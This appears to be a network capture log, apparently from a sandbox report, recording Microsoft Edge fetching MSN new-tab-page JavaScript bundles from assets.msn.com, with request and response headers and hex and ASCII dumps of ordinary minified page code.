2024-04-23 21:02:22 UTC	13929	IN	Data Raw: 30 30 30 30 33 36 35 44 0d 0a 6f 75 74 3d 22 24 7b 28 74 2c 65 29 3d 3e 65 2e 70 61 72 65 6e 74 2e 6c 61 79 6f 75 74 7d 22 3e 3c 73 6c 6f 74 20 73 6c 6f 74 3d 22 70 72 65 76 69 6f 75 73 2d 74 61 62 2d 67 6c 79 70 68 22 20 6e 61 6d 65 3d 22 66 6c 69 70 70 65 72 2d 70 72 65 76 69 6f 75 73 22 3e 24 7b 5f 2e 64 79 2e 70 61 72 74 69 61 6c 28 61 74 28 29 29 7d 3c 2f 73 6c 6f 74 3e 3c 73 6c 6f 74 20 73 6c 6f 74 3d 22 6e 65 78 74 2d 74 61 62 2d 67 6c 79 70 68 22 20 6e 61 6d 65 3d 22 66 6c 69 70 70 65 72 2d 6e 65 78 74 22 3e 24 7b 5f 2e 64 79 2e 70 61 72 74 69 61 6c 28 74 74 28 29 29 7d 3c 2f 73 6c 6f 74 3e 24 7b 74 3d 3e 74 2e 68 65 61 64 65 72 44 61 74 61 26 26 74 2e 68 65 61 64 65 72 44 61 74 61 2e 74 69 74 6c 65 26 26 74 2e 68 65 61 64 65 72 44 61 74 61 2e 74 Data Ascii: 0000365Dout="${(t,e)=>e.parent.layout}"><slot slot="previous-tab-glyph" name="flipper-previous">${_.dy.partial(at())}</slot><slot slot="next-tab-glyph" name="flipper-next">${_.dy.partial(tt())}</slot>${t=>t.headerData&&t.headerData.title&&t.headerData.t
2024-04-23 21:02:22 UTC	16010	IN	Data Raw: 30 30 30 30 33 45 37 45 0d 0a 63 72 6f 6c 6c 2e 64 69 73 61 62 6c 65 64 7b 64 69 73 70 6c 61 79 3a 6e 6f 6e 65 7d 2e 73 63 72 6f 6c 6c 3a 3a 62 65 66 6f 72 65 2c 2e 73 63 72 6f 6c 6c 2d 61 63 74 69 6f 6e 7b 6c 65 66 74 3a 30 3b 70 6f 73 69 74 69 6f 6e 3a 61 62 73 6f 6c 75 74 65 7d 2e 73 63 72 6f 6c 6c 3a 3a 62 65 66 6f 72 65 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 6c 69 6e 65 61 72 2d 67 72 61 64 69 65 6e 74 28 74 6f 20 72 69 67 68 74 2c 76 61 72 28 2d 2d 73 63 72 6f 6c 6c 2d 66 61 64 65 2d 70 72 65 76 69 6f 75 73 29 2c 74 72 61 6e 73 70 61 72 65 6e 74 29 3b 63 6f 6e 74 65 6e 74 3a 22 22 3b 64 69 73 70 6c 61 79 3a 62 6c 6f 63 6b 3b 68 65 69 67 68 74 3a 31 30 30 25 3b 77 69 64 74 68 3a 31 30 30 25 7d 2e 73 63 72 6f 6c 6c 2d 61 63 74 69 6f 6e 7b 70 6f 69 6e 74 Data Ascii: 00003E7Ecroll.disabled{display:none}.scroll::before,.scroll-action{left:0;position:absolute}.scroll::before{background:linear-gradient(to right,var(--scroll-fade-previous),transparent);content:"";display:block;height:100%;width:100%}.scroll-action{point
2024-04-23 21:02:22 UTC	12	IN	Data Raw: 30 30 30 30 30 30 30 30 0d 0a 0d 0a Data Ascii: 00000000

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
54	192.168.2.4	49836	23.11.231.163	443	6064	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-23 21:02:22 UTC	648	OUT	GET /bundles/v1/edgeChromium/latest/common-windows-widget-shared.134e79ef7864b4274fec.js HTTP/1.1 Host: assets.msn.com Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Origin: https://ntp.msn.com sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: script Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-04-23 21:02:22 UTC	1191	IN	HTTP/1.1 200 OK Content-Type: application/javascript Content-MD5: 2LH7Q9kkOC56om4usld/tQ== Last-Modified: Tue, 23 Apr 2024 19:32:45 GMT ETag: 0x8DC63CC26807BE7 Server: Windows-Azure-Blob/1.0 Microsoft-HTTPAPI/2.0 x-ms-request-id: 43bff7cf-301e-0004-78b5-95c6b6000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob Date: Tue, 23 Apr 2024 21:02:22 GMT Transfer-Encoding: chunked Connection: close Connection: Transfer-Encoding Akamai-Request-BC: [a=23.11.231.159,b=402746282,c=g,n=US_GA_ATLANTA,o=20940] Server-Timing: clientrtt; dur=106, clienttt; dur=0, origin; dur=0 , cdntime; dur=0 Akamai-Cache-Status: Hit from child Akamai-Server-IP: 23.11.231.159 Akamai-Request-ID: 18016baa Access-Control-Allow-Credentials: true Access-Control-Allow-Origin: https://ntp.msn.com report-to: {"group":"network-errors","max_age":604800,"endpoints":[{"url":"https://deff.nelreports.net/api/report?cat=msn"}]} nel: {"report_to":"network-errors","max_age":604800,"success_fraction":0.001,"failure_fraction":0.1} Cache-Control: public, no-transform, max-age=31535892 Timing-Allow-Origin: * Akamai-GRN: 0.9fe70b17.1713906142.18016baa Vary: Origin
2024-04-23 21:02:22 UTC	15193	IN	Data Raw: 30 30 30 30 36 30 30 30 0d 0a 22 75 73 65 20 73 74 72 69 63 74 22 3b 28 73 65 6c 66 2e 77 65 62 70 61 63 6b 43 68 75 6e 6b 5f 6d 73 6e 65 77 73 5f 6d 73 6e 65 77 73 5f 65 78 70 65 72 69 65 6e 63 65 73 3d 73 65 6c 66 2e 77 65 62 70 61 63 6b 43 68 75 6e 6b 5f 6d 73 6e 65 77 73 5f 6d 73 6e 65 77 73 5f 65 78 70 65 72 69 65 6e 63 65 73 7c 7c 5b 5d 29 2e 70 75 73 68 28 5b 5b 22 63 6f 6d 6d 6f 6e 2d 77 69 6e 64 6f 77 73 2d 77 69 64 67 65 74 2d 73 68 61 72 65 64 22 5d 2c 7b 31 35 35 34 36 3a 66 75 6e 63 74 69 6f 6e 28 65 2c 74 2c 69 29 7b 69 2e 64 28 74 2c 7b 62 68 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 61 7d 2c 74 51 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 73 7d 7d 29 3b 76 61 72 20 6e 3d 69 28 39 33 35 37 30 29 3b 6c 65 74 20 Data Ascii: 00006000"use strict";(self.webpackChunk_msnews_msnews_experiences=self.webpackChunk_msnews_msnews_experiences\|\|[]).push([["common-windows-widget-shared"],{15546:function(e,t,i){i.d(t,{bh:function(){return a},tQ:function(){return s}});var n=i(93570);let
2024-04-23 21:02:22 UTC	9395	IN	Data Raw: 3d 65 3f 76 6f 69 64 20 30 3a 65 2e 66 69 6e 61 6e 63 65 53 74 72 69 6e 67 73 29 7c 7c 76 6f 69 64 20 30 3d 3d 3d 78 3f 76 6f 69 64 20 30 3a 78 2e 65 76 65 6e 74 42 72 69 65 66 7d 2c 7b 70 64 70 54 79 70 65 3a 6e 2e 62 64 2e 46 6c 61 73 68 4e 65 77 73 2c 6c 61 62 65 6c 3a 6e 75 6c 6c 3d 3d 3d 28 71 3d 6e 75 6c 6c 3d 3d 65 3f 76 6f 69 64 20 30 3a 65 2e 66 69 6e 61 6e 63 65 53 74 72 69 6e 67 73 29 7c 7c 76 6f 69 64 20 30 3d 3d 3d 71 3f 76 6f 69 64 20 30 3a 71 2e 66 6c 61 73 68 4e 65 77 73 7d 5d 7d 2c 7b 76 65 72 74 69 63 61 6c 49 64 3a 6e 2e 56 70 2e 74 72 61 66 66 69 63 2c 6c 61 62 65 6c 3a 6e 75 6c 6c 3d 3d 3d 28 4b 3d 6e 75 6c 6c 3d 3d 65 3f 76 6f 69 64 20 30 3a 65 2e 74 72 61 66 66 69 63 53 74 72 69 6e 67 73 29 7c 7c 76 6f 69 64 20 30 3d 3d 3d 4b 3f 76 Data Ascii: =e?void 0:e.financeStrings)\|\|void 0===x?void 0:x.eventBrief},{pdpType:n.bd.FlashNews,label:null===(q=null==e?void 0:e.financeStrings)\|\|void 0===q?void 0:q.flashNews}]},{verticalId:n.Vp.traffic,label:null===(K=null==e?void 0:e.trafficStrings)\|\|void 0===K?v
2024-04-23 21:02:22 UTC	12899	IN	Data Raw: 30 30 30 30 33 32 35 37 0d 0a 65 3d 66 28 29 3b 69 66 28 70 3c 35 29 72 65 74 75 72 6e 20 61 77 61 69 74 20 65 2e 73 65 74 53 69 67 6e 49 6e 53 74 61 74 75 73 28 32 29 2c 76 6f 69 64 20 77 69 6e 64 6f 77 2e 6c 6f 63 61 74 69 6f 6e 2e 72 65 6c 6f 61 64 28 29 3b 61 77 61 69 74 20 65 2e 73 69 67 6e 4f 75 74 41 63 63 6f 75 6e 74 28 6d 29 7d 63 61 74 63 68 28 65 29 7b 50 28 65 2c 6e 2e 44 57 78 29 7d 7d 61 73 79 6e 63 20 66 75 6e 63 74 69 6f 6e 20 49 28 29 7b 74 72 79 7b 6c 65 74 20 65 3b 69 66 28 70 3c 35 29 7b 65 3d 28 61 77 61 69 74 20 63 2e 67 65 74 55 73 65 72 49 6e 66 6f 28 29 29 2e 75 73 65 72 50 72 6f 66 69 6c 65 49 6d 61 67 65 7d 65 6c 73 65 7b 63 6f 6e 73 74 20 74 3d 66 28 29 2c 69 3d 61 77 61 69 74 20 41 28 29 3b 65 3d 61 77 61 69 74 20 74 2e 67 65 Data Ascii: 00003257e=f();if(p<5)return await e.setSignInStatus(2),void window.location.reload();await e.signOutAccount(m)}catch(e){P(e,n.DWx)}}async function I(){try{let e;if(p<5){e=(await c.getUserInfo()).userProfileImage}else{const t=f(),i=await A();e=await t.ge
2024-04-23 21:02:22 UTC	16384	IN	Data Raw: 30 30 30 30 34 30 30 30 0d 0a 71 4b 7a 47 51 56 53 4c 75 58 59 67 5a 76 39 35 4f 32 35 4d 32 51 4c 47 54 75 78 41 65 4c 4f 79 69 61 51 75 59 75 53 63 33 38 31 77 38 72 41 32 6b 53 69 69 7a 76 6e 73 47 33 58 56 73 53 31 64 74 71 6b 79 52 50 32 58 72 48 33 30 4e 6d 2b 68 37 4f 37 6a 76 35 55 53 73 33 4c 34 74 6f 71 4a 4a 6f 70 6e 32 61 66 4b 33 55 67 63 6e 58 37 68 73 79 71 66 4a 32 48 68 6e 4c 66 31 58 67 74 51 4d 42 4d 31 76 6b 7a 55 73 36 79 4c 55 6e 46 45 4c 46 6b 58 6f 57 6b 70 77 37 41 73 75 54 42 46 33 77 67 56 46 34 53 56 68 33 51 5a 63 41 43 47 62 44 56 6d 34 48 35 72 55 41 7a 75 52 47 6e 37 6e 6f 78 6a 72 33 2f 50 65 64 54 78 6a 58 49 47 76 34 68 33 6d 4e 4e 66 76 72 4d 4f 71 34 59 54 38 77 73 4c 36 39 38 7a 32 76 64 6b 2f 69 71 64 61 43 34 44 59 Data Ascii: 00004000qKzGQVSLuXYgZv95O25M2QLGTuxAeLOyiaQuYuSc381w8rA2kSiizvnsG3XVsS1dtqkyRP2XrH30Nm+h7O7jv5USs3L4toqJJopn2afK3UgcnX7hsyqfJ2HhnLf1XgtQMBM1vkzUs6yLUnFELFkXoWkpw7AsuTBF3wgVF4SVh3QZcACGbDVm4H5rUAzuRGn7noxjr3/PedTxjXIGv4h3mNNfvrMOq4YT8wsL698z2vdk/iqdaC4DY
2024-04-23 21:02:22 UTC	12	IN	Data Raw: 35 66 48 6d 47 38 31 70 4e 4d 0d 0a Data Ascii: 5fHmG81pNM
2024-04-23 21:02:22 UTC	5199	IN	Data Raw: 30 30 30 30 31 34 34 33 0d 0a 61 75 31 4d 5a 6b 62 42 46 75 43 63 78 79 4e 51 45 52 77 6c 55 64 2f 53 76 43 34 52 79 35 67 79 2f 46 7a 75 47 76 6e 44 4f 37 5a 4e 35 76 39 31 78 30 4c 79 41 6b 69 36 53 51 54 34 75 41 34 67 69 6b 71 33 32 61 63 55 78 30 41 63 64 72 69 4e 57 42 7a 78 6f 68 5a 5a 6c 56 6b 34 70 67 6e 50 34 4e 64 74 44 58 44 55 69 4a 42 63 4f 51 52 45 47 79 69 71 39 79 43 49 33 4f 55 5a 51 64 68 6d 43 63 38 6f 31 2f 31 30 4a 74 65 43 2b 78 66 51 41 68 79 33 63 7a 43 77 58 39 61 67 61 64 44 4c 2f 39 6c 6c 35 2b 76 75 30 36 71 70 55 6c 38 38 74 34 6c 6e 4c 42 76 61 47 43 46 31 75 4d 71 6f 75 57 69 75 48 41 47 7a 57 6b 33 33 4c 61 41 55 68 44 79 53 65 31 4f 31 48 56 43 6f 43 4c 4f 53 34 72 4d 76 70 54 70 6d 79 34 6c 4b 4c 62 71 6d 35 62 72 53 76 Data Ascii: 00001443au1MZkbBFuCcxyNQERwlUd/SvC4Ry5gy/FzuGvnDO7ZN5v91x0LyAki6SQT4uA4gikq32acUx0AcdriNWBzxohZZlVk4pgnP4NdtDXDUiJBcOQREGyiq9yCI3OUZQdhmCc8o1/10JteC+xfQAhy3czCwX9agadDL/9ll5+vu06qpUl88t4lnLBvaGCF1uMqouWiuHAGzWk33LaAUhDySe1O1HVCoCLOS4rMvpTpmy4lKLbqm5brSv
2024-04-23 21:02:22 UTC	16384	IN	Data Raw: 30 30 30 30 34 30 30 30 0d 0a 33 31 57 43 57 39 73 32 71 2b 64 45 56 33 42 53 2b 78 65 61 57 6c 76 32 45 4e 56 70 64 74 30 47 79 4b 69 47 42 4d 46 39 39 77 57 63 75 4b 48 43 70 6d 4d 49 55 78 56 68 77 72 6d 57 7a 33 49 4d 52 77 35 39 37 2b 48 42 38 48 59 73 67 68 48 7a 41 4a 76 63 67 56 47 4c 74 72 77 51 70 35 4e 47 39 68 6a 30 4b 36 79 61 6d 41 49 76 41 2f 66 74 32 49 2f 58 2f 65 4e 6c 2f 2b 4e 4a 4c 33 6e 37 5a 57 66 2f 39 4e 2b 63 33 5a 6d 4b 72 46 79 4f 4c 73 41 71 53 69 35 35 30 59 6e 56 46 38 34 39 6a 73 36 71 36 76 44 69 7a 56 4e 79 7a 61 50 57 41 4f 73 6e 67 54 34 42 6b 30 35 4a 2b 6f 71 56 33 78 70 55 43 6d 4c 65 71 69 66 76 4e 5a 52 54 30 4d 30 52 54 45 4c 54 64 45 4b 6c 32 4b 6b 30 36 61 73 62 61 2f 45 53 47 57 39 68 47 4c 46 51 75 32 65 66 65 Data Ascii: 0000400031WCW9s2q+dEV3BS+xeaWlv2ENVpdt0GyKiGBMF99wWcuKHCpmMIUxVhwrmWz3IMRw597+HB8HYsghHzAJvcgVGLtrwQp5NG9hj0K6yamAIvA/ft2I/X/eNl/+NJL3n7ZWf/9N+c3ZmKrFyOLsAqSi550YnVF849js6q6vDizVNyzaPWAOsngT4Bk05J+oqV3xpUCmLeqifvNZRT0M0RTELTdEKl2Kk06asba/ESGW9hGLFQu2efe
2024-04-23 21:02:22 UTC	12	IN	Data Raw: 69 31 57 41 6c 64 75 4f 53 7a 0d 0a Data Ascii: i1WAlduOSz
2024-04-23 21:02:22 UTC	5276	IN	Data Raw: 30 30 30 30 31 34 39 30 0d 0a 79 68 42 58 6a 4b 31 78 6c 54 75 6e 64 4d 6a 79 52 4f 63 64 55 63 6f 4e 68 75 37 4c 53 6f 4a 67 75 42 6a 78 77 43 30 42 73 59 6b 2f 6d 47 6a 32 76 52 56 48 2b 65 57 49 46 59 36 65 63 2f 37 33 48 79 63 56 2f 79 37 37 48 39 61 73 6a 63 45 4f 55 62 64 71 6b 73 37 72 71 72 42 73 6f 45 50 75 49 36 57 64 41 39 72 37 55 45 72 42 4d 64 64 4f 69 65 4d 63 57 50 4a 34 70 39 62 4d 4c 73 55 63 70 79 72 46 78 4a 59 78 43 30 39 5a 33 55 70 6a 37 4c 7a 33 69 47 69 45 46 73 78 39 67 69 7a 65 6d 53 79 4e 6d 41 51 49 54 66 4f 57 37 31 7a 31 69 7a 2b 32 64 75 64 31 2f 2f 4d 44 6a 2b 6c 56 2f 59 65 76 33 37 67 61 4c 33 37 42 45 33 48 57 4d 78 36 4e 32 51 6e 47 72 6a 6c 67 33 37 4a 57 56 30 75 31 54 67 33 72 71 42 48 7a 77 79 42 77 6a 75 43 68 50 Data Ascii: 00001490yhBXjK1xlTundMjyROcdUcoNhu7LSoJguBjxwC0BsYk/mGj2vRVH+eWIFY6ec/73HycV/y77H9asjcEOUbdqks7rqrBsoEPuI6WdA9r7UErBMddOieMcWPJ4p9bMLsUcpyrFxJYxC09Z3Upj7Lz3iGiEFsx9gizemSyNmAQITfOW71z1iz+2dud1//MDj+lV/Yev37gaL37BE3HWMx6N2QnGrjlg37JWV0u1Tg3rqBHzwyBwjuChP
2024-04-23 21:02:22 UTC	16384	IN	Data Raw: 30 30 30 30 34 30 30 30 0d 0a 58 6e 54 56 44 38 37 33 61 75 70 7a 73 69 62 79 51 72 55 51 68 72 75 4d 55 2b 7a 4f 6f 68 35 54 50 31 32 61 70 4a 45 52 54 6a 70 61 6b 78 6c 67 32 4a 49 77 42 59 45 4a 51 78 6b 31 48 32 4a 4f 48 35 64 62 63 71 6d 43 71 42 4c 43 4d 79 4d 72 6f 7a 6a 76 47 4b 4a 4b 73 79 36 57 64 6e 4d 6d 38 57 50 57 72 55 39 51 4b 6c 32 64 6a 59 48 46 6f 31 36 79 49 6d 68 38 6b 78 48 42 43 64 32 4c 67 38 4e 73 32 4d 69 76 4e 38 6a 4c 62 4a 6b 6a 6e 61 71 49 37 6f 38 78 65 78 44 51 63 65 66 75 73 51 65 76 4f 4d 42 55 64 42 49 51 46 67 42 38 61 50 6d 33 62 39 4f 39 37 71 2f 4f 7a 55 51 2f 62 4d 2f 6f 67 72 68 69 51 6f 57 70 63 7a 6c 6b 70 34 71 61 6c 33 67 4e 6f 62 31 52 6c 36 4c 4b 75 7a 76 7a 68 46 55 75 50 61 36 4a 61 35 2f 4f 36 63 70 35 49 Data Ascii: 00004000XnTVD873aupzsibyQrUQhruMU+zOoh5TP12apJERTjpakxlg2JIwBYEJQxk1H2JOH5dbcqmCqBLCMyMrozjvGKJKsy6WdnMm8WPWrU9QKl2djYHFo16yImh8kxHBCd2Lg8Ns2MivN8jLbJkjnaqI7o8xexDQcefusQevOMBUdBIQFgB8aPm3b9O97q/OzUQ/bM/ogrhiQoWpczlkp4qal3gNob1Rl6LKuzvzhFUuPa6Ja5/O6cp5I

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
55	192.168.2.4	49837	23.11.231.163	443	6064	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-23 21:02:22 UTC	633	OUT	GET /bundles/v1/edgeChromium/latest/channel-store.5b917fd7b882726d8e58.js HTTP/1.1 Host: assets.msn.com Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Origin: https://ntp.msn.com sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: script Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-04-23 21:02:22 UTC	1191	IN	HTTP/1.1 200 OK Content-Type: application/javascript Content-MD5: nW0TAvpYq2IDp+hKBkUNrQ== Last-Modified: Mon, 22 Apr 2024 19:59:13 GMT ETag: 0x8DC6306AF1F6C4D Server: Windows-Azure-Blob/1.0 Microsoft-HTTPAPI/2.0 x-ms-request-id: 3c5d878a-801e-0103-6aef-944864000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob Date: Tue, 23 Apr 2024 21:02:22 GMT Transfer-Encoding: chunked Connection: close Connection: Transfer-Encoding Akamai-Request-BC: [a=23.11.231.159,b=402746314,c=g,n=US_GA_ATLANTA,o=20940] Server-Timing: clientrtt; dur=105, clienttt; dur=0, origin; dur=0 , cdntime; dur=0 Akamai-Cache-Status: Hit from child Akamai-Server-IP: 23.11.231.159 Akamai-Request-ID: 18016bca Access-Control-Allow-Credentials: true Access-Control-Allow-Origin: https://ntp.msn.com report-to: {"group":"network-errors","max_age":604800,"endpoints":[{"url":"https://deff.nelreports.net/api/report?cat=msn"}]} nel: {"report_to":"network-errors","max_age":604800,"success_fraction":0.001,"failure_fraction":0.1} Cache-Control: public, no-transform, max-age=31535892 Timing-Allow-Origin: * Akamai-GRN: 0.9fe70b17.1713906142.18016bca Vary: Origin
2024-04-23 21:02:22 UTC	15193	IN	Data Raw: 30 30 30 30 36 30 30 30 0d 0a 28 73 65 6c 66 2e 77 65 62 70 61 63 6b 43 68 75 6e 6b 5f 6d 73 6e 65 77 73 5f 6d 73 6e 65 77 73 5f 65 78 70 65 72 69 65 6e 63 65 73 3d 73 65 6c 66 2e 77 65 62 70 61 63 6b 43 68 75 6e 6b 5f 6d 73 6e 65 77 73 5f 6d 73 6e 65 77 73 5f 65 78 70 65 72 69 65 6e 63 65 73 7c 7c 5b 5d 29 2e 70 75 73 68 28 5b 5b 22 63 68 61 6e 6e 65 6c 2d 73 74 6f 72 65 22 5d 2c 7b 38 31 31 34 37 3a 66 75 6e 63 74 69 6f 6e 28 65 2c 74 2c 69 29 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 69 2e 72 28 74 29 2c 69 2e 64 28 74 2c 7b 41 63 63 6f 75 6e 74 53 65 74 74 69 6e 67 73 54 65 6d 70 6c 61 74 65 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 71 6f 7d 2c 43 68 61 6e 6e 65 6c 53 74 6f 72 65 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 Data Ascii: 00006000(self.webpackChunk_msnews_msnews_experiences=self.webpackChunk_msnews_msnews_experiences\|\|[]).push([["channel-store"],{81147:function(e,t,i){"use strict";i.r(t),i.d(t,{AccountSettingsTemplate:function(){return qo},ChannelStore:function(){return
2024-04-23 21:02:22 UTC	9395	IN	Data Raw: 74 2d 73 69 7a 65 3a 32 34 70 78 3b 6c 69 6e 65 2d 68 65 69 67 68 74 3a 33 32 70 78 3b 63 6f 6c 6f 72 3a 72 67 62 28 33 36 2c 33 36 2c 33 36 29 3b 6d 61 72 67 69 6e 2d 69 6e 6c 69 6e 65 2d 73 74 61 72 74 3a 32 34 70 78 3b 6d 61 72 67 69 6e 2d 74 6f 70 3a 32 34 70 78 3b 6d 61 72 67 69 6e 2d 62 6f 74 74 6f 6d 3a 30 70 78 3b 6c 65 74 74 65 72 2d 73 70 61 63 69 6e 67 3a 30 65 6d 3b 74 65 78 74 2d 61 6c 69 67 6e 3a 6c 65 66 74 3b 63 6f 6c 6f 72 3a 24 7b 62 65 2e 43 7d 7d 2e 6c 65 66 74 2d 6e 61 76 2d 63 6f 6e 74 61 69 6e 65 72 7b 77 69 64 74 68 3a 32 31 38 70 78 3b 6d 69 6e 2d 77 69 64 74 68 3a 32 31 38 70 78 7d 2e 6c 65 66 74 2d 6e 61 76 2d 74 72 65 65 7b 6d 61 72 67 69 6e 2d 69 6e 6c 69 6e 65 2d 73 74 61 72 74 3a 32 34 70 78 3b 6d 61 72 67 69 6e 2d 74 6f 70 Data Ascii: t-size:24px;line-height:32px;color:rgb(36,36,36);margin-inline-start:24px;margin-top:24px;margin-bottom:0px;letter-spacing:0em;text-align:left;color:${be.C}}.left-nav-container{width:218px;min-width:218px}.left-nav-tree{margin-inline-start:24px;margin-top
2024-04-23 21:02:22 UTC	16384	IN	Data Raw: 30 30 30 30 36 30 30 30 0d 0a 65 74 63 68 20 73 70 6f 72 74 73 20 64 61 74 61 2e 22 2c 60 65 72 72 6f 72 3d 24 7b 6e 26 26 6e 2e 6d 65 73 73 61 67 65 7d 2c 20 62 61 73 65 20 55 52 4c 3d 24 7b 74 7d 2c 20 73 75 62 20 70 61 74 68 3d 24 7b 65 7d 60 29 2c 6e 75 6c 6c 7d 7d 61 73 79 6e 63 20 66 75 6e 63 74 69 6f 6e 20 75 74 28 65 2c 74 29 7b 76 61 72 20 69 2c 6e 3b 74 2e 61 70 69 4b 65 79 26 26 65 2e 73 65 61 72 63 68 50 61 72 61 6d 73 2e 73 65 74 28 48 65 2e 61 70 69 4b 65 79 2c 74 2e 61 70 69 4b 65 79 29 2c 74 2e 76 65 72 73 69 6f 6e 26 26 65 2e 73 65 61 72 63 68 50 61 72 61 6d 73 2e 73 65 74 28 48 65 2e 76 65 72 73 69 6f 6e 2c 74 2e 76 65 72 73 69 6f 6e 29 2c 65 2e 73 65 61 72 63 68 50 61 72 61 6d 73 2e 73 65 74 28 4d 2e 6a 47 2e 4f 6e 65 53 65 72 76 69 63 Data Ascii: 00006000etch sports data.",`error=${n&&n.message}, base URL=${t}, sub path=${e}`),null}}async function ut(e,t){var i,n;t.apiKey&&e.searchParams.set(He.apiKey,t.apiKey),t.version&&e.searchParams.set(He.version,t.version),e.searchParams.set(M.jG.OneServic
2024-04-23 21:02:22 UTC	8204	IN	Data Raw: 76 65 64 20 75 6e 65 78 70 65 63 74 65 64 20 73 63 68 65 6d 61 20 69 6e 20 72 65 73 70 6f 6e 73 65 22 2c 60 64 61 74 61 3d 24 7b 4a 53 4f 4e 2e 73 74 72 69 6e 67 69 66 79 28 65 29 7d 60 2c 76 6f 69 64 20 30 2c 74 68 69 73 2e 6c 6f 67 67 65 72 49 6e 73 74 61 6e 63 65 49 64 29 2c 6e 75 6c 6c 3b 69 66 28 21 6e 29 72 65 74 75 72 6e 20 24 74 28 67 2e 4e 68 33 2c 22 53 70 6f 72 74 73 20 50 65 72 73 6f 6e 61 6c 69 7a 61 74 69 6f 6e 20 44 61 74 61 20 4d 61 70 70 65 72 20 72 65 63 69 65 76 65 64 20 75 6e 65 78 70 65 63 74 65 64 20 73 63 68 65 6d 61 20 69 6e 20 72 65 73 70 6f 6e 73 65 22 2c 60 64 61 74 61 3d 24 7b 4a 53 4f 4e 2e 73 74 72 69 6e 67 69 66 79 28 65 29 7d 60 2c 76 6f 69 64 20 30 2c 74 68 69 73 2e 6c 6f 67 67 65 72 49 6e 73 74 61 6e 63 65 49 64 29 2c 6e Data Ascii: ved unexpected schema in response",`data=${JSON.stringify(e)}`,void 0,this.loggerInstanceId),null;if(!n)return $t(g.Nh3,"Sports Personalization Data Mapper recieved unexpected schema in response",`data=${JSON.stringify(e)}`,void 0,this.loggerInstanceId),n
2024-04-23 21:02:22 UTC	11180	IN	Data Raw: 30 30 30 30 32 42 41 30 0d 0a 67 6f 72 79 3a 74 2e 66 72 65 45 6e 74 69 74 79 2e 73 70 6f 72 74 77 69 74 68 4c 65 61 67 75 65 4e 61 6d 65 2c 73 75 62 63 61 74 65 67 6f 72 79 3a 4b 74 2e 53 63 65 6e 61 72 69 6f 2c 68 65 61 64 6c 69 6e 65 3a 74 2e 66 72 65 45 6e 74 69 74 79 2e 6e 61 6d 65 2c 6c 65 61 67 75 65 49 64 3a 74 2e 66 72 65 45 6e 74 69 74 79 2e 69 64 2c 69 73 46 6f 6c 6c 6f 77 65 64 3a 21 30 7d 29 3b 79 26 26 28 6f 3d 79 2e 67 65 74 4d 65 74 61 64 61 74 61 54 61 67 28 29 29 3b 63 6f 6e 73 74 20 77 3d 74 68 69 73 2e 67 65 74 54 65 6c 65 6d 65 74 72 79 4f 62 6a 65 63 74 28 55 74 2e 55 6e 66 6f 6c 6c 6f 77 4d 69 74 4c 65 61 67 75 65 2c 65 2c 7b 63 61 74 65 67 6f 72 79 3a 74 2e 66 72 65 45 6e 74 69 74 79 2e 73 70 6f 72 74 77 69 74 68 4c 65 61 67 75 65 Data Ascii: 00002BA0gory:t.freEntity.sportwithLeagueName,subcategory:Kt.Scenario,headline:t.freEntity.name,leagueId:t.freEntity.id,isFollowed:!0});y&&(o=y.getMetadataTag());const w=this.getTelemetryObject(Ut.UnfollowMitLeague,e,{category:t.freEntity.sportwithLeague
2024-04-23 21:02:22 UTC	16384	IN	Data Raw: 30 30 30 30 34 30 30 30 0d 0a 26 26 74 68 69 73 2e 72 65 73 65 74 44 61 74 61 28 69 29 7d 72 65 74 75 72 6e 20 73 7d 72 65 74 75 72 6e 21 21 28 74 68 69 73 2e 64 61 74 61 26 26 74 68 69 73 2e 74 65 6c 65 6d 65 74 72 79 4f 62 6a 65 63 74 26 26 74 68 69 73 2e 74 65 6c 65 6d 65 74 72 79 43 6f 6e 74 65 78 74 29 7d 7d 5a 74 2e 63 72 69 63 6b 65 74 45 72 72 6f 72 73 4d 61 70 4b 65 79 3d 53 79 6d 62 6f 6c 28 22 63 72 69 63 6b 65 74 45 72 72 6f 72 73 4d 61 70 22 29 3b 76 61 72 20 65 69 3d 69 28 37 38 31 32 35 29 2c 74 69 3d 69 28 33 31 35 35 38 29 2c 69 69 3d 69 28 35 32 39 36 35 29 2c 6e 69 3d 69 28 37 38 33 32 34 29 2c 6f 69 3d 69 28 32 35 39 32 31 29 2c 73 69 3d 69 28 36 38 39 36 33 29 2c 61 69 3d 69 28 36 37 30 34 34 29 2c 72 69 3d 69 28 38 37 31 37 32 29 2c Data Ascii: 00004000&&this.resetData(i)}return 